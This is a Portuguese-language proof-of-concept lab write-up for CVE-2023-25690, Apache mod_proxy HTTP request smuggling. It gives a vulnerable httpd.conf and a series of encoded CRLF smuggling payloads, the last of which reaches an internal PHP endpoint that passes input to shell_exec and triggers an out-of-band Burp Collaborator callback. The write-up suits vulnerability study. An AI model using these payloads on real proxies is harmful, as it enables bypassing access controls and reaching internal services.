
CVE 2023 25690 Prova de conceito - configuração vulnerável do mod_proxy no Apache HTTP Server versões 2.4.0 - 2.4.55 leva à vulnerabilidade de HTTP Request Smuggling.
Publicado: 7 de março de 2023
| Pontuação base | Confidencialidade | Impacto de integridade | Impacto de disponibilidade |
|---|---|---|---|
| 9.8 | Alto | Alto | Alto |

Algumas configurações do mod_proxy no Apache HTTP Server versões 2.4.0 até 2.4.55 permitem um ataque de Contrabando de Requisição HTTP. As configurações são afetadas quando o mod_proxy está habilitado junto com alguma forma de RewriteRule ou ProxyPassMatch em que um padrão não específico corresponde a alguma parte dos dados do request-target (URL) fornecidos pelo usuário e é então re-inserido no request-target de proxy usando substituição de variáveis. Por exemplo, algo como:
RewriteEngine on
RewriteRule "^/here/(.*)" "http://example.com:8080/elsewhere?$1"; [P]
ProxyPassReverse /here/ http://example.com:8080/
A divisão/contrabando de requisição pode resultar na bypass de controles de acesso no servidor proxy, no encaminhamento via proxy de URLs não intencionais para servidores de origem existentes e no envenenamento de cache. Recomenda-se que os usuários atualizem para pelo menos a versão 2.4.56 do Apache HTTP Server.
https://ubuntu.com/security/CVE-2023-25690
https://security.snyk.io/vuln/SNYK-UBUNTU2210-APACHE2-3355688
Com RewriteEngine on incluído na configuração do Apache, o mecanismo de reescrita de URL é habilitado. A reescrita de URL é uma técnica que permite que servidores web alterem dinamicamente as URLs solicitadas pelo navegador do cliente para uma URL diferente antes de servir o conteúdo.
Por exemplo, digamos que temos a seguinte estrutura de URL para uma loja online:
https://example-shop.com/categories/1
Supondo a seguinte diretiva RewriteRule em um arquivo de configuração do Apache:
RewriteRule "^/categories/(.*)" "http://example-shop.com:8080/categories?id=$1"; [P]
Quando um usuário solicita a URL https://example-shop.com/categories/1, a RewriteRule corresponde à URL e captura o valor 1 usando a expressão regular ^/categories/(.*). A regra então reescreve a URL para http://example-shop.com:8080/categories?id=1 anexando o valor capturado à URL reescrita como um parâmetro de consulta id.
Como o flag [P] existe na regra, o Apache trata a URL reescrita como uma solicitação de proxy e a encaminha para o servidor de destino em http://example-shop.com:8080/categories com o parâmetro de consulta id definido como 1. O servidor de destino então processa a solicitação e envia a resposta de volta ao Apache, que a encaminha ao cliente.
Em resumo, a diretiva RewriteRule com o flag [P] é usada para reescrever URLs e fazer proxy delas para um servidor diferente. Nesse caso, a regra corresponde a URLs que começam com /categories/ e anexa o valor capturado como um parâmetro de consulta id à URL reescrita. O Apache então encaminha a solicitação ao servidor de destino, que processa a solicitação e retorna a resposta.
Por fim, em relação a ProxyPassReverse /categories/ http://example-shop.com:8080/, esta linha simplesmente substitui o domínio e o caminho do servidor de backend pelo domínio e o caminho do servidor proxy, de modo que o cliente possa seguir corretamente os links e acessar o conteúdo do servidor de backend como se estivesse sendo servido diretamente pelo servidor proxy.

Para simular a vulnerabilidade no Apache, usaremos a versão 2.4.55 do httpd. Além disso, todo o laboratório será dockerizado para facilitar a configuração, a instalação e a reprodutibilidade.
A estrutura de arquivos do laboratório será a seguinte:
lab/
├── backend
│ ├── Dockerfile
│ └── src
│ ├── categories.php
│ └── index.php
├── docker-compose.yml
└── frontend
├── Dockerfile
└── httpd.conf
A configuração final do httpd.conf está estruturada como abaixo:
ErrorLog "/usr/local/apache2/logs/error.log"
CustomLog "/usr/local/apache2/logs/access.log" common
# Load necessary modules
LoadModule rewrite_module modules/mod_rewrite.so
LoadModule proxy_module modules/mod_proxy.so
LoadModule proxy_http_module modules/mod_proxy_http.so
<VirtualHost *:80>
RewriteEngine on
RewriteRule "^/categories/(.*)" "http://192.168.10.100:8080/categories.php?id=$1" [P]
ProxyPassReverse "/categories/" "http://192.168.10.100:8080/"
</VirtualHost>
Use o comando docker-compose.exe up --build para iniciar o laboratório.
Nesta seção, explicarei como uma injeção de CRLF pode levar ao contrabando de requisição HTTP interno, permitindo que um atacante obtenha acesso não autorizado a recursos internos que de outra forma seriam inacessíveis.
Com base na descrição do aviso, o httpd <=2.4.55 é vulnerável à Divisão de Resposta HTTP, também conhecida como Injeção de CRLF.
A Injeção de CRLF ocorre quando:
O que, no nosso caso, pode ser confirmado passando o seguinte prefixo CRLF na URL:
HTTP/1.1\r\nFoo: baarr\r\n\r\n
%20HTTP/1.1%0d%0aFoo:%20baarr
Ao anexar o prefixo acima à URL, a requisição final resultante será a seguinte:
GET /categories/1%20HTTP/1.1%0d%0aFoo:%20baarr HTTP/1.1
Host: 192.168.1.103
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
Após a requisição, o servidor processará os dados e retornará um código de resposta 200 indicando vulnerabilidade à Injeção de CRLF.
HTTP/1.1 200 OK
Date: Mon, 22 May 2023 02:05:28 GMT
Server: Apache/2.4.54 (Debian)
X-Powered-By: PHP/7.4.33
Content-Length: 21
Content-Type: text/html; charset=UTF-8
You category ID is: 1
Mais informações sobre Divisão de Resposta HTTP podem ser encontradas aqui, https://owasp.org/www-community/attacks/HTTP_Response_Splitting
Usando a injeção de cabeçalho, realizaremos o contrabando de requisição HTTP interno.
Vamos começar com o seguinte prefixo:
HTTP/1.1\r\nHost: localhost\r\n\r\nGET /SMUGGLED
%20HTTP/1.1%0d%0aHost:%20localhost%0d%0a%0d%0aGET%20/SMUGGLED
e a seguinte requisição
GET /categories/1%20HTTP/1.1%0d%0aHost:%20localhost%0d%0a%0d%0aGET%20/SMUGGLED HTTP/1.1
Host: 192.168.1.103
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
Aplicando a regra de reescrita, a requisição passa por uma transformação para o seguinte formato:
GET /categories.php?id=1 HTTP/1.1
Host: localhost
GET /SMUGGLED HTTP/1.1
Host: backend
onde a URL codificada é decodificada em sintaxe HTTP válida, fazendo com que o backend trate os dados decodificados como uma segunda requisição.
Suponha que nossa aplicação interna tenha o seguinte código secreto:
#Internal secret functionality
if(isset($_GET['secret'])){
$secret = $_GET['secret'];
shell_exec('nslookup ' . $secret);
}
com o seguinte prefixo, somos capazes de enviar a segunda requisição para a funcionalidade oculta:
HTTP/1.1\r\nHost: localhost\r\n\r\nGET /categories.php?secret=im8uzc5sbq7xasyxk5yhfc734uaky9.burpcollaborator.net
%20HTTP/1.1%0d%0aHost:%20localhost%0d%0a%0d%0aGET%20/categories.php?secret=im8uzc5sbq7xasyxk5yhfc734uaky9.burpcollaborator.net
GET /categories/1%20HTTP/1.1%0d%0aHost:%20localhost%0d%0a%0d%0aGET%20/categories.php%3fsecret%3dq0r2dkj0pyl5o0c5ydcptklbi2otci.burpcollaborator.net HTTP/1.1
Host: 192.168.1.103
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
e recuperar a requisição no Burp Collaborator:

Correções:
O impacto dessa vulnerabilidade é que ela permite que atacantes tenham como alvo e acessem aplicações internas que deveriam ser ocultadas pelo proxy reverso, potencialmente levando a acesso não autorizado, vazamento de dados ou exploração adicional.